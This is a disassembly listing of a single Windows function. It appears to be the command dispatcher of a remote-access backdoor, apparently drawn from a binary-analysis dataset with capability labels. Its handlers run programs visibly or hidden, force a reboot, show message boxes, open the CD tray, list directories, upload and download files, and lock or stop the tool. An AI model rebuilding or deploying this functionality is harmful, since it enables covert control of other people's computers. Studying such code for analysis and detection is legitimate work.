Function at 0x40b3b0
Capabilities:
Check if file exists
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43713b
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x210]
push eax
push 0
mov ebx, ecx
push 0
push ebx
lea edi, [ebp - 0x514]
mov dword [ebp - 0x514], 0
call fcn.00405120
add esp, 0x10
mov ecx, str.exec_show
lea eax, [ebp - 0x210]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b430
test dl, dl
je 0x40b42c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b430
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b410
xor eax, eax
jmp 0x40b435
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b4de
push 0x20
call fcn.0041fbf7
lea ecx, [ebp - 0x310]
push ecx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
mov esi, eax
call fcn.00405120
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
call fcn.00405120
add esp, 0x24
push 5
push 0
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x310]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40b4ac
mov dx, word [0x43d164]
mov word [esi], dx
mov al, byte [0x43d166]
mov byte [esi + 2], al
jmp 0x40bf91
mov ecx, dword [str.FILE_NOT_FOUND]
mov dword [esi], ecx
mov edx, dword [0x43d16c]
mov dword [esi + 4], edx
mov eax, dword [0x43d170]
mov dword [esi + 8], eax
mov cx, word [0x43d174]
mov word [esi + 0xc], cx
mov dl, byte [0x43d176]
mov byte [esi + 0xe], dl
jmp 0x40bf91
mov ecx, str.exec_hide
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b510
test dl, dl
je 0x40b50c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b510
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b4f0
xor eax, eax
jmp 0x40b515
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b5be
push 0x20
call fcn.0041fbf7
mov esi, eax
lea eax, [ebp - 0x110]
push eax
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
call fcn.00405120
lea ecx, [ebp - 0x310]
push ecx
push 0x22
push 0x22
push ebx
call fcn.00405120
add esp, 0x24
push 0
push 0
lea edx, [ebp - 0x310]
push edx
lea eax, [ebp - 0x110]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
je 0x40b58d
mov cx, word [0x43d164]
mov word [esi], cx
mov dl, byte [0x43d166]
mov byte [esi + 2], dl
jmp 0x40bf91
mov eax, dword [str.FILE_NOT_FOUND]
mov dword [esi], eax
mov ecx, dword [0x43d16c]
mov dword [esi + 4], ecx
mov edx, dword [0x43d170]
mov dword [esi + 8], edx
mov ax, word [0x43d174]
mov word [esi + 0xc], ax
mov cl, byte [0x43d176]
mov byte [esi + 0xe], cl
jmp 0x40bf91
mov ecx, str.reboot
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b5f0
test dl, dl
je 0x40b5ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b5f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b5d0
xor eax, eax
jmp 0x40b5f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b62e
push eax
push eax
push str._r__t_0
push str.shutdown
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x20
call fcn.0041fbf7
mov ecx, 7
mov esi, str.SYSTEM_GOING_FOR_REBOOT_NOW
mov edi, eax
add esp, 4
rep movsd dword es:[edi], dword [esi]
jmp 0x40bf93
mov ecx, str.msgbox
lea eax, [ebp - 0x210]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b660
test dl, dl
je 0x40b65c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b660
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b640
xor eax, eax
jmp 0x40b665
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b6f4
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
call fcn.00405120
lea eax, [ebp - 0x310]
push eax
push 0x22
push 0x22
push ebx
call fcn.00405120
add esp, 0x20
push 0x40
lea ecx, [ebp - 0x310]
push ecx
lea edx, [ebp - 0x110]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x20
call fcn.0041fbf7
mov ecx, dword [str.MESSAGEBOX_DISPLAYED]
mov dword [eax], ecx
mov edx, dword [0x43d1c8]
mov dword [eax + 4], edx
mov ecx, dword [0x43d1cc]
mov dword [eax + 8], ecx
mov edx, dword [0x43d1d0]
mov dword [eax + 0xc], edx
mov ecx, dword [0x43d1d4]
mov dword [eax + 0x10], ecx
mov dl, byte [0x43d1d8]
add esp, 4
mov byte [eax + 0x14], dl
jmp 0x40bf93
mov ecx, str.tray_open
lea eax, [ebp - 0x210]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b720
test dl, dl
je 0x40b71c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b720
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b700
xor eax, eax
jmp 0x40b725
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b7c5
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
lea eax, [ebp - 0x660]
push eax
push 0x2000
push 0x803
push 0
mov dword [ebp - 0x658], str.CDAudio
call esi
mov eax, dword [ebp - 0x65c]
lea ecx, [ebp - 0x51c]
push ecx
push 0x100
push 0x80d
push eax
mov edi, eax
call esi
lea edx, [ebp - 0x51c]
push edx
push 1
push 0x804
push edi
call esi
push 0x20
call fcn.0041fbf7
mov ecx, dword [str.CD_DVD_TRAY_OPENED]
mov dword [eax], ecx
mov edx, dword [0x43d1f4]
mov dword [eax + 4], edx
mov ecx, dword [0x43d1f8]
mov dword [eax + 8], ecx
mov edx, dword [0x43d1fc]
mov dword [eax + 0xc], edx
mov cx, word [0x43d200]
mov word [eax + 0x10], cx
mov dl, byte [0x43d202]
add esp, 4
mov byte [eax + 0x12], dl
jmp 0x40bf93
mov ecx, str.tray_close
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b7f0
test dl, dl
je 0x40b7ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b7f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b7d0
xor eax, eax
jmp 0x40b7f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b895
mov esi, dword [sym.imp.WINMM.dll_mciSendCommandA]
lea eax, [ebp - 0x660]
push eax
push 0x2000
push 0x803
push 0
mov dword [ebp - 0x658], str.CDAudio
call esi
mov eax, dword [ebp - 0x65c]
lea ecx, [ebp - 0x51c]
push ecx
push 0x200
push 0x80d
push eax
mov edi, eax
call esi
lea edx, [ebp - 0x51c]
push edx
push 1
push 0x804
push edi
call esi
push 0x20
call fcn.0041fbf7
mov ecx, dword [str.CD_DVD_TRAY_CLOSED]
mov dword [eax], ecx
mov edx, dword [0x43d214]
mov dword [eax + 4], edx
mov ecx, dword [0x43d218]
mov dword [eax + 8], ecx
mov edx, dword [0x43d21c]
mov dword [eax + 0xc], edx
mov cx, word [0x43d220]
mov word [eax + 0x10], cx
mov dl, byte [0x43d222]
add esp, 4
mov byte [eax + 0x12], dl
jmp 0x40bf93
mov ecx, 0x43d224
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b8c0
test dl, dl
je 0x40b8bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b8c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b8a0
xor eax, eax
jmp 0x40b8c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40ba8d
lea eax, [ebp - 0x110]
push eax
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
call fcn.00405120
lea eax, [ebp - 0x110]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b8f0
sub eax, edx
cmp byte [ebp + eax - 0x111], 0x5c
je 0x40b922
lea edi, [ebp - 0x110]
dec edi
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40b910
mov cx, word [0x43d228]
mov word [edi], cx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40ba58
lea esi, [ebp - 0x518]
call fcn.00405090
push str.Listing_of__s:_n_n
mov edi, 0x10
mov dword [ebp - 4], 0
call fcn.004050d0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b961
sub eax, edx
add eax, 8
push eax
call fcn.0041fbf7
mov esi, eax
lea eax, [ebp - 0x110]
push eax
push 0x43d240
push esi
mov dword [ebp - 0x64c], esi
call fcn.00420835
lea ecx, [ebp - 0x648]
push ecx
push esi
call fcn.004227b2
mov ebx, eax
add esp, 0x18
test ebx, ebx
je 0x40ba0f
cmp ebx, 0xffffffff
je 0x40ba0f
jmp 0x40b9b0
lea eax, [ebp - 0x624]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b9c0
sub eax, edx
lea edx, [ebp - 0x624]
push edx
mov edi, eax
lea esi, [ebp - 0x518]
call fcn.004050d0
push 0x43d248
mov edi, 1
call fcn.004050d0
lea eax, [ebp - 0x648]
push eax
push ebx
call fcn.004228d9
add esp, 8
test eax, eax
je 0x40b9b0
push ebx
call fcn.00422a07
mov esi, dword [ebp - 0x64c]
add esp, 4
push esi
call fcn.004208b9
mov edi, dword [ebp - 0x518]
mov eax, edi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ba23
sub eax, edx
inc eax
push eax
call fcn.0041fbf7
mov esi, eax
mov edx, esi
add esp, 4
mov eax, edi
sub edx, edi
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40ba40
push edi
call fcn.00421071
add esp, 4
jmp 0x40bf91
push 0x20
call fcn.0041fbf7
mov ecx, dword [str.DIR_NOT_FOUND]
mov esi, eax
mov dword [esi], ecx
mov edx, dword [0x43d250]
mov dword [esi + 4], edx
mov eax, dword [0x43d254]
mov dword [esi + 8], eax
mov cx, word [0x43d258]
mov word [esi + 0xc], cx
add esp, 4
jmp 0x40bf91
mov ecx, str.upload
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bab8
test dl, dl
je 0x40bab4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bab8
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ba98
xor eax, eax
jmp 0x40babd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bca7
lea edx, [ebp - 0x110]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
call fcn.00405120
add esp, 0x10
call fcn.004015f0
mov ebx, eax
mov esi, 0x25
mov dword [ebp - 0x64c], ebx
call fcn.00406240
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bb00
sub eax, edx
mov edi, eax
call fcn.00405f30
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bb13
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x110]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bb27
sub eax, esi
add eax, edx
lea eax, [eax + edi + 0x80]
push eax
call fcn.0041fbf7
add esp, 4
lea ecx, [ebp - 0x110]
mov esi, eax
push ecx
mov dword [ebp - 0x514], esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bc5e
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bb68
sub eax, edx
inc eax
push eax
call fcn.0041fbf7
mov ebx, eax
lea eax, [ebp - 0x110]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bb86
sub eax, edx
inc eax
push eax
call fcn.0041fbf7
mov edi, eax
push edi
push ebx
push 0
lea edx, [ebp - 0x110]
push 0
push edx
call fcn.00423193
add esp, 0x18
push edi
push ebx
call fcn.00405f30
push eax
mov esi, 0x25
call fcn.00406240
mov esi, dword [ebp - 0x514]
push eax
push str._s_comp_sext_s._s
push esi
call fcn.00420835
push ebx
call fcn.004208b9
push edi
call fcn.004208b9
mov ecx, dword [ebp - 0x64c]
push esi
lea edx, [ebp - 0x110]
call fcn.00404910
mov edi, dword [ebp - 0x64c]
add esp, 0x24
test eax, eax
jne 0x40bc1e
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
push esi
lea edx, [ebp - 0x110]
mov ecx, edi
call fcn.00404910
add esp, 4
test eax, eax
je 0x40bc02
push edi
call fcn.004208b9
push esi
call fcn.004208b9
push 0x20
call fcn.0041fbf7
mov ecx, dword [str.FILE_UPLOADED]
mov dword [eax], ecx
mov edx, dword [0x43d268]
mov dword [eax + 4], edx
mov ecx, dword [0x43d26c]
mov dword [eax + 8], ecx
mov dx, word [0x43d270]
add esp, 0xc
mov word [eax + 0xc], dx
jmp 0x40bf93
push ebx
call fcn.004208b9
push esi
call fcn.004208b9
push 0x20
call fcn.0041fbf7
mov ecx, dword [str.FILE_NOT_FOUND]
mov dword [eax], ecx
mov edx, dword [0x43d16c]
mov dword [eax + 4], edx
mov ecx, dword [0x43d170]
mov dword [eax + 8], ecx
mov dx, word [0x43d174]
mov word [eax + 0xc], dx
mov cl, byte [0x43d176]
add esp, 0xc
mov byte [eax + 0xe], cl
jmp 0x40bf93
mov ecx, str.download
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bcd2
test dl, dl
je 0x40bcce
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bcd2
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bcb2
xor eax, eax
jmp 0x40bcd7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bd8d
push 0x20
call fcn.0041fbf7
lea edx, [ebp - 0x620]
push edx
push 0x22
push 0x22
push ebx
lea edi, [ebp - 0x514]
mov esi, eax
call fcn.00405120
lea eax, [ebp - 0x510]
push eax
push 0x22
push 0x22
push ebx
call fcn.00405120
lea ecx, [ebp - 0x410]
push ecx
push 0x22
push 0x22
push ebx
call fcn.00405120
lea edx, [ebp - 0x510]
push edx
lea edx, [ebp - 0x410]
lea ecx, [ebp - 0x620]
call fcn.00404510
add esp, 0x38
test eax, eax
je 0x40bd66
mov eax, dword [str.FILE_DOWNLOADED]
mov dword [esi], eax
mov ecx, dword [0x43d284]
mov dword [esi + 4], ecx
mov edx, dword [0x43d288]
mov dword [esi + 8], edx
mov eax, dword [0x43d28c]
mov dword [esi + 0xc], eax
jmp 0x40bf91
mov ecx, dword [str.DOWNLOAD_FAILED]
mov dword [esi], ecx
mov edx, dword [0x43d294]
mov dword [esi + 4], edx
mov eax, dword [0x43d298]
mov dword [esi + 8], eax
mov ecx, dword [0x43d29c]
mov dword [esi + 0xc], ecx
jmp 0x40bf91
mov ecx, str.lock_distribution
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bdb8
test dl, dl
je 0x40bdb4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bdb8
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bd98
xor eax, eax
jmp 0x40bdbd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40be75
push 0x20
call fcn.0041fbf7
add esp, 4
mov esi, 0x24
mov edi, eax
call fcn.00406240
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40be42
push 0x43ca7c
call fcn.00406240
push eax
call fcn.004218f3
add esp, 8
test eax, eax
je 0x40be20
mov dx, word [0x43d164]
mov word [edi], dx
mov cl, byte [0x43d166]
push eax
mov byte [edi + 2], cl
call fcn.00422275
add esp, 4
mov eax, edi
jmp 0x40bf93
mov edx, dword [str.FAILED]
mov dword [edi], edx
mov ax, word [0x43d2b8]
mov word [edi + 4], ax
mov cl, byte [0x43d2ba]
mov byte [edi + 6], cl
mov eax, edi
jmp 0x40bf93
mov edx, dword [str.ALREADY_LOCKED]
mov dword [edi], edx
mov eax, dword [0x43d2c0]
mov dword [edi + 4], eax
mov ecx, dword [0x43d2c4]
mov dword [edi + 8], ecx
mov dx, word [0x43d2c8]
mov word [edi + 0xc], dx
mov al, byte [0x43d2ca]
mov byte [edi + 0xe], al
mov eax, edi
jmp 0x40bf93
mov ecx, str.unlock_distribution
lea eax, [ebp - 0x210]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bea0
test dl, dl
je 0x40be9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bea0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40be80
xor eax, eax
jmp 0x40bea5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bf20
push 0x20
call fcn.0041fbf7
add esp, 4
mov esi, 0x24
mov edi, eax
call fcn.00406240
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bef2
call fcn.00406240
push eax
call fcn.00422369
mov cx, word [0x43d164]
mov word [edi], cx
mov dl, byte [0x43d166]
add esp, 4
mov byte [edi + 2], dl
mov eax, edi
jmp 0x40bf93
mov eax, dword [str.ALREADY_UNLOCKED]
mov dword [edi], eax
mov ecx, dword [0x43d2e4]
mov dword [edi + 4], ecx
mov edx, dword [0x43d2e8]
mov dword [edi + 8], edx
mov eax, dword [0x43d2ec]
mov dword [edi + 0xc], eax
mov cl, byte [0x43d2f0]
mov byte [edi + 0x10], cl
mov eax, edi
jmp 0x40bf93
mov ecx, str.stop
lea eax, [ebp - 0x210]
jmp 0x40bf30
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40bf50
test dl, dl
je 0x40bf4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40bf50
add eax, 2
add ecx, 2
test dl, dl
jne 0x40bf30
xor eax, eax
jmp 0x40bf55
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40bf5f
push eax
call fcn.00422df5
lea eax, [ebp - 0x210]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bf68
sub eax, edx
add eax, 0x20
push eax
call fcn.0041fbf7
lea edx, [ebp - 0x210]
push edx
mov esi, eax
push str.UNKNOWN_COMMAND_____s_
push esi
call fcn.00420835
add esp, 0x10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420826
mov esp, ebp
pop ebp
ret